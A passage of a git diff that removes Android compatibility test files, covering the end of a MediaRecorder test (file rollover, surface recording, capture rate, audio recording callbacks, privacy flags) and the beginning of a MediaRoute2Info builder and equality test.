-        recordFileList.add(OUTPUT_PATH + mFileIndex);
-        mFileIndex++;
-        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
-        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
-        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
-        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
-        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
-        // Try to get camera profile for QUALITY_LOW; if unavailable,
-        // set the video size to default value.
-        CamcorderProfile profile = CamcorderProfile.get(
-                0 /* cameraId */, CamcorderProfile.QUALITY_LOW);
-        if (profile != null) {
-            width = profile.videoFrameWidth;
-            height = profile.videoFrameHeight;
-        } else {
-            width = VIDEO_WIDTH;
-            height = VIDEO_HEIGHT;
-        }
-        mMediaRecorder.setVideoSize(width, height);
-        mMediaRecorder.setVideoEncodingBitRate(256000);
-        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
-        mMediaRecorder.setMaxFileSize(fileSize);
-        mMediaRecorder.prepare();
-        mMediaRecorder.start();
-
-        // Record total 5 files including previous one.
-        int fileCount = 0;
-        while (fileCount < 5) {
-            if (!mMaxFileSizeApproachingCond.block(MAX_FILE_SIZE_TIMEOUT_MS)) {
-                fail("timed out waiting for MEDIA_RECORDER_INFO_MAX_FILESIZE_APPROACHING");
-            }
-            if (!mNextOutputFileStartedCond.block(MAX_FILE_SIZE_TIMEOUT_MS)) {
-                fail("timed out waiting for MEDIA_RECORDER_INFO_NEXT_OUTPUT_FILE_STARTED");
-            }
-            fileCount++;
-            mMaxFileSizeApproachingCond.close();
-            mNextOutputFileStartedCond.close();
-        }
-
-        mExpectMaxFileCond = true;
-        if (!mMaxFileSizeCond.block(MAX_FILE_SIZE_TIMEOUT_MS)) {
-            fail("timed out waiting for MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED");
-        }
-        mMediaRecorder.stop();
-
-        for (String filePath : recordFileList) {
-            checkOutputFileSize(filePath, fileSize, tolerance);
-        }
-    }
-
-    private void checkOutputFileSize(final String fileName, long fileSize, long tolerance) {
-        File file = new File(fileName);
-        assertTrue(file.exists());
-        assertEquals(fileSize, file.length(), tolerance);
-        assertTrue(file.delete());
-    }
-
-    public void testOnErrorListener() throws Exception {
-        if (!hasMicrophone() || !hasAac()) {
-            MediaUtils.skipTest("no audio codecs or microphone");
-            return;
-        }
-        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT);
-        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
-        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
-
-        recordMedia(MAX_FILE_SIZE, mOutFile);
-        // TODO: how can we trigger a recording error?
-        assertFalse(mOnErrorCalled);
-    }
-
-    private void setupRecorder(String filename, boolean useSurface, boolean hasAudio)
-            throws Exception {
-        int codec = MediaRecorder.VideoEncoder.H264;
-        int frameRate = getMaxFrameRateForCodec(codec);
-        if (mMediaRecorder == null) {
-            mMediaRecorder = new MediaRecorder();
-        }
-
-        if (!useSurface) {
-            mCamera = Camera.open(0);
-            Camera.Parameters params = mCamera.getParameters();
-            frameRate = params.getPreviewFrameRate();
-            setSupportedResolution(mCamera);
-            mCamera.unlock();
-            mMediaRecorder.setCamera(mCamera);
-            mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
-        }
-
-        mMediaRecorder.setVideoSource(useSurface ?
-                MediaRecorder.VideoSource.SURFACE : MediaRecorder.VideoSource.CAMERA);
-
-        if (hasAudio) {
-            mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
-        }
-
-        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
-        mMediaRecorder.setOutputFile(filename);
-
-        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
-        mMediaRecorder.setVideoFrameRate(frameRate);
-        mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
-
-        if (hasAudio) {
-            mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
-        }
-    }
-
-    private Surface tryGetSurface(boolean shouldThrow) throws Exception {
-        Surface surface = null;
-        try {
-            surface = mMediaRecorder.getSurface();
-            assertFalse("failed to throw IllegalStateException", shouldThrow);
-        } catch (IllegalStateException e) {
-            assertTrue("threw unexpected exception: " + e, shouldThrow);
-        }
-        return surface;
-    }
-
-    private boolean validateGetSurface(boolean useSurface) {
-        Log.v(TAG,"validateGetSurface, useSurface=" + useSurface);
-        if (!useSurface && !hasCamera()) {
-            // pass if testing camera source but no hardware
-            return true;
-        }
-        Surface surface = null;
-        boolean success = true;
-        try {
-            setupRecorder(OUTPUT_PATH, useSurface, false /* hasAudio */);
-
-            /* Test: getSurface() before prepare()
-             * should throw IllegalStateException
-             */
-            surface = tryGetSurface(true /* shouldThow */);
-
-            mMediaRecorder.prepare();
-
-            /* Test: getSurface() after prepare()
-             * should succeed for surface source
-             * should fail for camera source
-             */
-            surface = tryGetSurface(!useSurface);
-
-            mMediaRecorder.start();
-
-            /* Test: getSurface() after start()
-             * should succeed for surface source
-             * should fail for camera source
-             */
-            surface = tryGetSurface(!useSurface);
-
-            try {
-                mMediaRecorder.stop();
-            } catch (Exception e) {
-                // stop() could fail if the recording is empty, as we didn't render anything.
-                // ignore any failure in stop, we just want it stopped.
-            }
-
-            /* Test: getSurface() after stop()
-             * should throw IllegalStateException
-             */
-            surface = tryGetSurface(true /* shouldThow */);
-        } catch (Exception e) {
-            Log.d(TAG, e.toString());
-            success = false;
-        } finally {
-            // reset to clear states, as stop() might have failed
-            mMediaRecorder.reset();
-
-            if (mCamera != null) {
-                mCamera.release();
-                mCamera = null;
-            }
-            if (surface != null) {
-                surface.release();
-                surface = null;
-            }
-        }
-
-        return success;
-    }
-
-    private void trySetInputSurface(Surface surface) throws Exception {
-        boolean testBadArgument = (surface == null);
-        try {
-            mMediaRecorder.setInputSurface(testBadArgument ? new Surface() : surface);
-            fail("failed to throw exception");
-        } catch (IllegalArgumentException e) {
-            // OK only if testing bad arg
-            assertTrue("threw unexpected exception: " + e, testBadArgument);
-        } catch (IllegalStateException e) {
-            // OK only if testing error case other than bad arg
-            assertFalse("threw unexpected exception: " + e, testBadArgument);
-        }
-    }
-
-    private boolean validatePersistentSurface(boolean errorCase) {
-        Log.v(TAG, "validatePersistentSurface, errorCase=" + errorCase);
-
-        Surface surface = MediaCodec.createPersistentInputSurface();
-        if (surface == null) {
-            return false;
-        }
-        Surface placeholder = null;
-
-        boolean success = true;
-        try {
-            setupRecorder(OUTPUT_PATH, true /* useSurface */, false /* hasAudio */);
-
-            if (errorCase) {
-                /*
-                 * Test: should throw if called with non-persistent surface
-                 */
-                trySetInputSurface(null);
-            } else {
-                /*
-                 * Test: should succeed if called with a persistent surface before prepare()
-                 */
-                mMediaRecorder.setInputSurface(surface);
-            }
-
-            /*
-             * Test: getSurface() should fail before prepare
-             */
-            placeholder = tryGetSurface(true /* shouldThow */);
-
-            mMediaRecorder.prepare();
-
-            /*
-             * Test: setInputSurface() should fail after prepare
-             */
-            trySetInputSurface(surface);
-
-            /*
-             * Test: getSurface() should fail if setInputSurface() succeeded
-             */
-            placeholder = tryGetSurface(!errorCase /* shouldThow */);
-
-            mMediaRecorder.start();
-
-            /*
-             * Test: setInputSurface() should fail after start
-             */
-            trySetInputSurface(surface);
-
-            /*
-             * Test: getSurface() should fail if setInputSurface() succeeded
-             */
-            placeholder = tryGetSurface(!errorCase /* shouldThow */);
-
-            try {
-                mMediaRecorder.stop();
-            } catch (Exception e) {
-                // stop() could fail if the recording is empty, as we didn't render anything.
-                // ignore any failure in stop, we just want it stopped.
-            }
-
-            /*
-             * Test: getSurface() should fail after stop
-             */
-            placeholder = tryGetSurface(true /* shouldThow */);
-        } catch (Exception e) {
-            Log.d(TAG, e.toString());
-            success = false;
-        } finally {
-            // reset to clear states, as stop() might have failed
-            mMediaRecorder.reset();
-
-            if (mCamera != null) {
-                mCamera.release();
-                mCamera = null;
-            }
-            if (surface != null) {
-                surface.release();
-                surface = null;
-            }
-            if (placeholder != null) {
-                placeholder.release();
-                placeholder = null;
-            }
-        }
-
-        return success;
-    }
-
-    public void testGetSurfaceApi() {
-        if (!hasH264()) {
-            MediaUtils.skipTest("no codecs");
-            return;
-        }
-
-        if (hasCamera()) {
-            // validate getSurface() with CAMERA source
-            assertTrue(validateGetSurface(false /* useSurface */));
-        }
-
-        // validate getSurface() with SURFACE source
-        assertTrue(validateGetSurface(true /* useSurface */));
-    }
-
-    public void testPersistentSurfaceApi() {
-        if (!hasH264()) {
-            MediaUtils.skipTest("no codecs");
-            return;
-        }
-
-        // test valid use case
-        assertTrue(validatePersistentSurface(false /* errorCase */));
-
-        // test invalid use case
-        assertTrue(validatePersistentSurface(true /* errorCase */));
-    }
-
-    private static int getMaxFrameRateForCodec(int codec) {
-        for (VideoEncoderCap cap : mVideoEncoders) {
-            if (cap.mCodec == codec) {
-                return cap.mMaxFrameRate < NORMAL_FPS ? cap.mMaxFrameRate : NORMAL_FPS;
-            }
-        }
-        fail("didn't find max FPS for codec");
-        return -1;
-    }
-
-    private boolean recordFromSurface(
-            String filename,
-            int captureRate,
-            boolean hasAudio,
-            Surface persistentSurface) {
-        Log.v(TAG, "recordFromSurface");
-        Surface surface = null;
-        try {
-            setupRecorder(filename, true /* useSurface */, hasAudio);
-
-            int sleepTimeMs;
-            if (captureRate > 0) {
-                mMediaRecorder.setCaptureRate(captureRate);
-                sleepTimeMs = 1000 / captureRate;
-            } else {
-                sleepTimeMs = 1000 / getMaxFrameRateForCodec(MediaRecorder.VideoEncoder.H264);
-            }
-
-            if (persistentSurface != null) {
-                Log.v(TAG, "using persistent surface");
-                surface = persistentSurface;
-                mMediaRecorder.setInputSurface(surface);
-            }
-
-            mMediaRecorder.prepare();
-
-            if (persistentSurface == null) {
-                surface = mMediaRecorder.getSurface();
-            }
-
-            Paint paint = new Paint();
-            paint.setTextSize(16);
-            paint.setColor(Color.RED);
-            int i;
-
-            /* Test: draw 10 frames at 30fps before start
-             * these should be dropped and not causing malformed stream.
-             */
-            for(i = 0; i < 10; i++) {
-                Canvas canvas = surface.lockCanvas(null);
-                int background = (i * 255 / 99);
-                canvas.drawARGB(255, background, background, background);
-                String text = "Frame #" + i;
-                canvas.drawText(text, 50, 50, paint);
-                surface.unlockCanvasAndPost(canvas);
-                Thread.sleep(sleepTimeMs);
-            }
-
-            Log.v(TAG, "start");
-            mMediaRecorder.start();
-
-            /* Test: draw another 90 frames at 30fps after start */
-            for(i = 10; i < 100; i++) {
-                Canvas canvas = surface.lockCanvas(null);
-                int background = (i * 255 / 99);
-                canvas.drawARGB(255, background, background, background);
-                String text = "Frame #" + i;
-                canvas.drawText(text, 50, 50, paint);
-                surface.unlockCanvasAndPost(canvas);
-                Thread.sleep(sleepTimeMs);
-            }
-
-            Log.v(TAG, "stop");
-            mMediaRecorder.stop();
-        } catch (Exception e) {
-            Log.v(TAG, "record video failed: " + e.toString());
-            return false;
-        } finally {
-            // We need to test persistent surface across multiple MediaRecorder
-            // instances, so must destroy mMediaRecorder here.
-            if (mMediaRecorder != null) {
-                mMediaRecorder.release();
-                mMediaRecorder = null;
-            }
-
-            // release surface if not using persistent surface
-            if (persistentSurface == null && surface != null) {
-                surface.release();
-                surface = null;
-            }
-        }
-        return true;
-    }
-
-    private boolean checkCaptureFps(String filename, int captureRate) {
-        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
-
-        retriever.setDataSource(filename);
-
-        // verify capture rate meta key is present and correct
-        String captureFps = retriever.extractMetadata(
-                MediaMetadataRetriever.METADATA_KEY_CAPTURE_FRAMERATE);
-
-        if (captureFps == null) {
-            Log.d(TAG, "METADATA_KEY_CAPTURE_FRAMERATE is missing");
-            return false;
-        }
-
-        if (Math.abs(Float.parseFloat(captureFps) - captureRate) > 0.001) {
-            Log.d(TAG, "METADATA_KEY_CAPTURE_FRAMERATE is incorrect: "
-                    + captureFps + "vs. " + captureRate);
-            return false;
-        }
-
-        // verify other meta keys here if necessary
-        return true;
-    }
-
-    private boolean testRecordFromSurface(boolean persistent, boolean timelapse) {
-        Log.v(TAG, "testRecordFromSurface: " +
-                   "persistent=" + persistent + ", timelapse=" + timelapse);
-        boolean success = false;
-        Surface surface = null;
-        int noOfFailure = 0;
-
-        if (!hasH264()) {
-            MediaUtils.skipTest("no codecs");
-            return true;
-        }
-
-        final float frameRate = getMaxFrameRateForCodec(MediaRecorder.VideoEncoder.H264);
-
-        try {
-            if (persistent) {
-                surface = MediaCodec.createPersistentInputSurface();
-            }
-
-            for (int k = 0; k < 2; k++) {
-                String filename = (k == 0) ? OUTPUT_PATH : OUTPUT_PATH2;
-                boolean hasAudio = false;
-                int captureRate = 0;
-
-                if (timelapse) {
-                    // if timelapse/slow-mo, k chooses between low/high capture fps
-                    captureRate = (k == 0) ? TIME_LAPSE_FPS : SLOW_MOTION_FPS;
-                } else {
-                    // otherwise k chooses between no-audio and audio
-                    hasAudio = (k == 0) ? false : true;
-                }
-
-                if (hasAudio && (!hasMicrophone() || !hasAmrNb())) {
-                    // audio test waived if no audio support
-                    continue;
-                }
-
-                Log.v(TAG, "testRecordFromSurface - round " + k);
-                success = recordFromSurface(filename, captureRate, hasAudio, surface);
-                if (success) {
-                    checkTracksAndDuration(0, true /* hasVideo */, hasAudio, filename, frameRate);
-
-                    // verify capture fps meta key
-                    if (timelapse && !checkCaptureFps(filename, captureRate)) {
-                        noOfFailure++;
-                    }
-                }
-                if (!success) {
-                    noOfFailure++;
-                }
-            }
-        } catch (Exception e) {
-            Log.v(TAG, e.toString());
-            noOfFailure++;
-        } finally {
-            if (surface != null) {
-                Log.v(TAG, "releasing persistent surface");
-                surface.release();
-                surface = null;
-            }
-        }
-        return (noOfFailure == 0);
-    }
-
-    // Test recording from surface source with/without audio)
-    public void testSurfaceRecording() {
-        assertTrue(testRecordFromSurface(false /* persistent */, false /* timelapse */));
-    }
-
-    // Test recording from persistent surface source with/without audio
-    public void testPersistentSurfaceRecording() {
-        assertTrue(testRecordFromSurface(true /* persistent */, false /* timelapse */));
-    }
-
-    // Test timelapse recording from surface without audio
-    public void testSurfaceRecordingTimeLapse() {
-        assertTrue(testRecordFromSurface(false /* persistent */, true /* timelapse */));
-    }
-
-    // Test timelapse recording from persisent surface without audio
-    public void testPersistentSurfaceRecordingTimeLapse() {
-        assertTrue(testRecordFromSurface(true /* persistent */, true /* timelapse */));
-    }
-
-    private void recordMedia(long maxFileSize, File outFile) throws Exception {
-        mMediaRecorder.setMaxFileSize(maxFileSize);
-        mMediaRecorder.prepare();
-        mMediaRecorder.start();
-        Thread.sleep(RECORD_TIME_MS);
-        mMediaRecorder.stop();
-
-        assertTrue(outFile.exists());
-
-        // The max file size is always guaranteed.
-        // We just make sure that the margin is not too big
-        assertTrue(outFile.length() < 1.1 * maxFileSize);
-        assertTrue(outFile.length() > 0);
-    }
-
-    private boolean hasCamera() {
-        return mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA);
-    }
-
-    private boolean hasMicrophone() {
-        return mActivity.getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_MICROPHONE);
-    }
-
-    private static boolean hasAmrNb() {
-        return MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AMR_NB);
-    }
-
-    private static boolean hasAmrWb() {
-        return MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AMR_WB);
-    }
-
-    private static boolean hasAac() {
-        return MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC);
-    }
-
-    private static boolean hasH264() {
-        return MediaUtils.hasEncoder(MediaFormat.MIMETYPE_VIDEO_AVC);
-    }
-
-    public void testSetCaptureRate() throws Exception {
-        // No exception expected for 30fps
-        mMediaRecorder.setCaptureRate(30.0);
-        try {
-            mMediaRecorder.setCaptureRate(-1.0);
-            fail("Should fail setting negative fps");
-        } catch (Exception ex) {
-            // expected
-        }
-        // No exception expected for 1/24hr
-        mMediaRecorder.setCaptureRate(1.0 / 86400.0);
-        try {
-            mMediaRecorder.setCaptureRate(1.0 / 90000.0);
-            fail("Should fail setting smaller fps than one frame per day");
-        } catch (Exception ex) {
-            // expected
-        }
-        try {
-            mMediaRecorder.setCaptureRate(0);
-            fail("Should fail setting zero fps");
-        } catch (Exception ex) {
-            // expected
-        }
-    }
-
-    public void testAudioRecordInfoCallback() throws Exception {
-        if (!hasMicrophone() || !hasAac()) {
-            MediaUtils.skipTest("no audio codecs or microphone");
-            return;
-        }
-        AudioRecordingConfigurationTest.MyAudioRecordingCallback callback =
-                new AudioRecordingConfigurationTest.MyAudioRecordingCallback(
-                        0 /*unused*/, MediaRecorder.AudioSource.DEFAULT);
-        mMediaRecorder.registerAudioRecordingCallback(mExec, callback);
-        configureDefaultMediaRecorder();
-        mMediaRecorder.prepare();
-        mMediaRecorder.start();
-        callback.await(TEST_TIMING_TOLERANCE_MS);
-        assertTrue(callback.mCalled);
-        assertTrue(callback.mConfigs.size() <= 1);
-        if (callback.mConfigs.size() == 1) {
-            checkRecordingConfig(callback.mConfigs.get(0));
-        }
-        Thread.sleep(RECORD_TIME_MS);
-        mMediaRecorder.stop();
-        mMediaRecorder.unregisterAudioRecordingCallback(callback);
-    }
-
-    public void testGetActiveRecordingConfiguration() throws Exception {
-        if (!hasMicrophone() || !hasAac()) {
-            MediaUtils.skipTest("no audio codecs or microphone");
-            return;
-        }
-        configureDefaultMediaRecorder();
-        mMediaRecorder.prepare();
-        mMediaRecorder.start();
-        Thread.sleep(1000);
-        AudioRecordingConfiguration config = mMediaRecorder.getActiveRecordingConfiguration();
-        checkRecordingConfig(config);
-        mMediaRecorder.stop();
-    }
-
-    private Executor mExec = new Executor() {
-        @Override
-        public void execute(Runnable command) {
-            command.run();
-        }
-    };
-
-    private static void checkRecordingConfig(AudioRecordingConfiguration config) {
-        assertNotNull(config);
-        AudioFormat format = config.getClientFormat();
-        assertEquals(AUDIO_NUM_CHANNELS, format.getChannelCount());
-        assertEquals(AUDIO_SAMPLE_RATE_HZ, format.getSampleRate());
-        assertEquals(MediaRecorder.AudioSource.MIC, config.getAudioSource());
-        assertNotNull(config.getAudioDevice());
-        assertNotNull(config.getClientEffects());
-        assertNotNull(config.getEffects());
-        // no requirement here, just testing the API
-        config.isClientSilenced();
-    }
-
-    /*
-     * Microphone Direction API tests
-     */
-    public void testSetPreferredMicrophoneDirection() {
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        try {
-            boolean succecss =
-                    mMediaRecorder.setPreferredMicrophoneDirection(
-                            MicrophoneDirection.MIC_DIRECTION_TOWARDS_USER);
-
-            // Can't actually test this as HAL may not have implemented it
-            // Just verify that it doesn't crash or throw an exception
-            // assertTrue(succecss);
-        }  catch (Exception ex) {
-            Log.e(TAG, "testSetPreferredMicrophoneDirection() exception:" + ex);
-            assertTrue(false);
-        }
-        return;
-    }
-
-    public void testSetPreferredMicrophoneFieldDimension() {
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        try {
-            boolean succecss = mMediaRecorder.setPreferredMicrophoneFieldDimension(1.0f);
-
-            // Can't actually test this as HAL may not have implemented it
-            // Just verify that it doesn't crash or throw an exception
-            // assertTrue(succecss);
-        }  catch (Exception ex) {
-            Log.e(TAG, "testSetPreferredMicrophoneFieldDimension() exception:" + ex);
-            assertTrue(false);
-        }
-        return;
-    }
-
-    public void testPrivacySensitive() throws Exception {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        if (!hasMicrophone() || !hasAac()) {
-            MediaUtils.skipTest("no audio codecs or microphone");
-            return;
-        }
-        for (final boolean privacyOn : new boolean[] { false, true} ) {
-            mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
-            mMediaRecorder.setPrivacySensitive(privacyOn);
-            assertEquals(privacyOn, mMediaRecorder.isPrivacySensitive());
-            mMediaRecorder.reset();
-        }
-    }
-
-    public void testPrivacySensitiveDefaults() throws Exception {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        if (!hasMicrophone() || !hasAac()) {
-            MediaUtils.skipTest("no audio codecs or microphone");
-            return;
-        }
-        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
-        assertFalse(mMediaRecorder.isPrivacySensitive());
-        mMediaRecorder.reset();
-
-        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.VOICE_COMMUNICATION);
-        assertTrue(mMediaRecorder.isPrivacySensitive());
-    }
-
-    public void testSetGetLogSessionId() {
-        if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
-        MediaRecorder recorder = new MediaRecorder();
-        assertEquals(recorder.getLogSessionId(), LogSessionId.LOG_SESSION_ID_NONE);
-
-        final MediaMetricsManager mediaMetricsManager =
-                InstrumentationRegistry.getTargetContext()
-                        .getSystemService(MediaMetricsManager.class);
-        final RecordingSession recordingSession = mediaMetricsManager.createRecordingSession();
-        recorder.setLogSessionId(recordingSession.getSessionId());
-        assertEquals(recordingSession.getSessionId(), recorder.getLogSessionId());
-
-        recorder.release();
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaRoute2InfoTest.java b/tests/tests/media/src/android/media/cts/MediaRoute2InfoTest.java
deleted file mode 100644
index bf75ec8..0000000
--- a/tests/tests/media/src/android/media/cts/MediaRoute2InfoTest.java
+++ /dev/null
@@ -1,343 +0,0 @@
-/*
- * Copyright 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.testng.Assert.assertThrows;
-
-import android.media.MediaRoute2Info;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Parcel;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-/**
- * Tests {@link MediaRoute2Info} and its {@link MediaRoute2Info.Builder builder}.
- */
-@RunWith(AndroidJUnit4.class)
-@SmallTest
-@NonMediaMainlineTest
-public class MediaRoute2InfoTest {
-
-    public static final String TEST_ID = "test_id";
-    public static final String TEST_NAME = "test_name";
-    public static final String TEST_ROUTE_TYPE_0 = "test_route_type_0";
-    public static final String TEST_ROUTE_TYPE_1 = "test_route_type_1";
-    public static final Uri TEST_ICON_URI = Uri.parse("https://developer.android.com");
-    public static final String TEST_DESCRIPTION = "test_description";
-    public static final int TEST_CONNECTION_STATE = MediaRoute2Info.CONNECTION_STATE_CONNECTING;
-    public static final String TEST_CLIENT_PACKAGE_NAME = "com.test.client.package.name";
-    public static final int TEST_VOLUME_HANDLING = MediaRoute2Info.PLAYBACK_VOLUME_VARIABLE;
-    public static final int TEST_VOLUME_MAX = 100;
-    public static final int TEST_VOLUME = 65;
-
-    public static final String TEST_KEY = "test_key";
-    public static final String TEST_VALUE = "test_value";
-
-    @Test
-    public void testBuilderConstructorWithInvalidValues() {
-        final String nullId = null;
-        final String nullName = null;
-        final String emptyId = "";
-        final String emptyName = "";
-        final String validId = "valid_id";
-        final String validName = "valid_name";
-
-        // ID is invalid
-        assertThrows(IllegalArgumentException.class,
-                () -> new MediaRoute2Info.Builder(nullId, validName));
-        assertThrows(IllegalArgumentException.class,
-                () -> new MediaRoute2Info.Builder(emptyId, validName));
-
-        // name is invalid
-        assertThrows(IllegalArgumentException.class,
-                () -> new MediaRoute2Info.Builder(validId, nullName));
-        assertThrows(IllegalArgumentException.class,
-                () -> new MediaRoute2Info.Builder(validId, emptyName));
-
-        // Both are invalid
-        assertThrows(IllegalArgumentException.class,
-                () -> new MediaRoute2Info.Builder(nullId, nullName));
-        assertThrows(IllegalArgumentException.class,
-                () -> new MediaRoute2Info.Builder(nullId, emptyName));
-        assertThrows(IllegalArgumentException.class,
-                () -> new MediaRoute2Info.Builder(emptyId, nullName));
-        assertThrows(IllegalArgumentException.class,
-                () -> new MediaRoute2Info.Builder(emptyId, emptyName));
-
-
-        // Null RouteInfo (1-argument constructor)
-        final MediaRoute2Info nullRouteInfo = null;
-        assertThrows(NullPointerException.class,
-                () -> new MediaRoute2Info.Builder(nullRouteInfo));
-    }
-
-    @Test
-    public void testBuilderBuildWithEmptyRouteTypesShouldThrowIAE() {
-        MediaRoute2Info.Builder builder = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME);
-        assertThrows(IllegalArgumentException.class, () -> builder.build());
-    }
-
-    @Test
-    public void testBuilderAndGettersOfMediaRoute2Info() {
-        Bundle extras = new Bundle();
-        extras.putString(TEST_KEY, TEST_VALUE);
-
-        MediaRoute2Info routeInfo = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
-                .addFeature(TEST_ROUTE_TYPE_0)
-                .addFeature(TEST_ROUTE_TYPE_1)
-                .setIconUri(TEST_ICON_URI)
-                .setDescription(TEST_DESCRIPTION)
-                .setConnectionState(TEST_CONNECTION_STATE)
-                .setClientPackageName(TEST_CLIENT_PACKAGE_NAME)
-                .setVolumeHandling(TEST_VOLUME_HANDLING)
-                .setVolumeMax(TEST_VOLUME_MAX)
-                .setVolume(TEST_VOLUME)
-                .setExtras(extras)
-                .build();
-
-        assertEquals(TEST_ID, routeInfo.getId());
-        assertEquals(TEST_NAME, routeInfo.getName());
-
-        assertEquals(2, routeInfo.getFeatures().size());
-        assertEquals(TEST_ROUTE_TYPE_0, routeInfo.getFeatures().get(0));
-        assertEquals(TEST_ROUTE_TYPE_1, routeInfo.getFeatures().get(1));
-
-        assertEquals(TEST_ICON_URI, routeInfo.getIconUri());
-        assertEquals(TEST_DESCRIPTION, routeInfo.getDescription());
-        assertEquals(TEST_CONNECTION_STATE, routeInfo.getConnectionState());
-        assertEquals(TEST_CLIENT_PACKAGE_NAME, routeInfo.getClientPackageName());
-        assertEquals(TEST_VOLUME_HANDLING, routeInfo.getVolumeHandling());
-        assertEquals(TEST_VOLUME_MAX, routeInfo.getVolumeMax());
-        assertEquals(TEST_VOLUME, routeInfo.getVolume());
-
-        Bundle extrasOut = routeInfo.getExtras();
-        assertNotNull(extrasOut);
-        assertTrue(extrasOut.containsKey(TEST_KEY));
-        assertEquals(TEST_VALUE, extrasOut.getString(TEST_KEY));
-    }
-
-    @Test
-    public void testBuilderSetExtrasWithNull() {
-        MediaRoute2Info routeInfo = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
-                .addFeature(TEST_ROUTE_TYPE_0)
-                .setExtras(null)
-                .build();
-
-        assertNull(routeInfo.getExtras());
-    }
-
-    @Test
-    public void testBuilderaddFeatures() {
-        List<String> routeTypes = new ArrayList<>();
-        routeTypes.add(TEST_ROUTE_TYPE_0);
-        routeTypes.add(TEST_ROUTE_TYPE_1);
-
-        MediaRoute2Info routeInfo = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
-                .addFeatures(routeTypes)
-                .build();
-
-        assertEquals(routeTypes, routeInfo.getFeatures());
-    }
-
-    @Test
-    public void testBuilderclearFeatures() {
-        MediaRoute2Info routeInfo = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
-                .addFeature(TEST_ROUTE_TYPE_0)
-                .addFeature(TEST_ROUTE_TYPE_1)
-                // clearFeatures should clear the route types.
-                .clearFeatures()
-                .addFeature(TEST_ROUTE_TYPE_1)
-                .build();
-
-        assertEquals(1, routeInfo.getFeatures().size());
-        assertEquals(TEST_ROUTE_TYPE_1, routeInfo.getFeatures().get(0));
-    }
-
-    @Test
-    public void testEqualsCreatedWithSameArguments() {
-        Bundle extras = new Bundle();
-        extras.putString(TEST_KEY, TEST_VALUE);
-
-        MediaRoute2Info routeInfo1 = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
-                .addFeature(TEST_ROUTE_TYPE_0)
-                .addFeature(TEST_ROUTE_TYPE_1)
-                .setIconUri(TEST_ICON_URI)
-                .setDescription(TEST_DESCRIPTION)
-                .setConnectionState(TEST_CONNECTION_STATE)
-                .setClientPackageName(TEST_CLIENT_PACKAGE_NAME)
-                .setVolumeHandling(TEST_VOLUME_HANDLING)
-                .setVolumeMax(TEST_VOLUME_MAX)
-                .setVolume(TEST_VOLUME)
-                .setExtras(extras)
-                .build();
-
-        MediaRoute2Info routeInfo2 = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
-                .addFeature(TEST_ROUTE_TYPE_0)
-                .addFeature(TEST_ROUTE_TYPE_1)
-                .setIconUri(TEST_ICON_URI)
-                .setDescription(TEST_DESCRIPTION)
-                .setConnectionState(TEST_CONNECTION_STATE)
-                .setClientPackageName(TEST_CLIENT_PACKAGE_NAME)
-                .setVolumeHandling(TEST_VOLUME_HANDLING)
-                .setVolumeMax(TEST_VOLUME_MAX)
-                .setVolume(TEST_VOLUME)
-                .setExtras(extras)
-                .build();
-
-        assertEquals(routeInfo1, routeInfo2);
-        assertEquals(routeInfo1.hashCode(), routeInfo2.hashCode());
-    }
-
-    @Test
-    public void testEqualsCreatedWithBuilderCopyConstructor() {
-        Bundle extras = new Bundle();
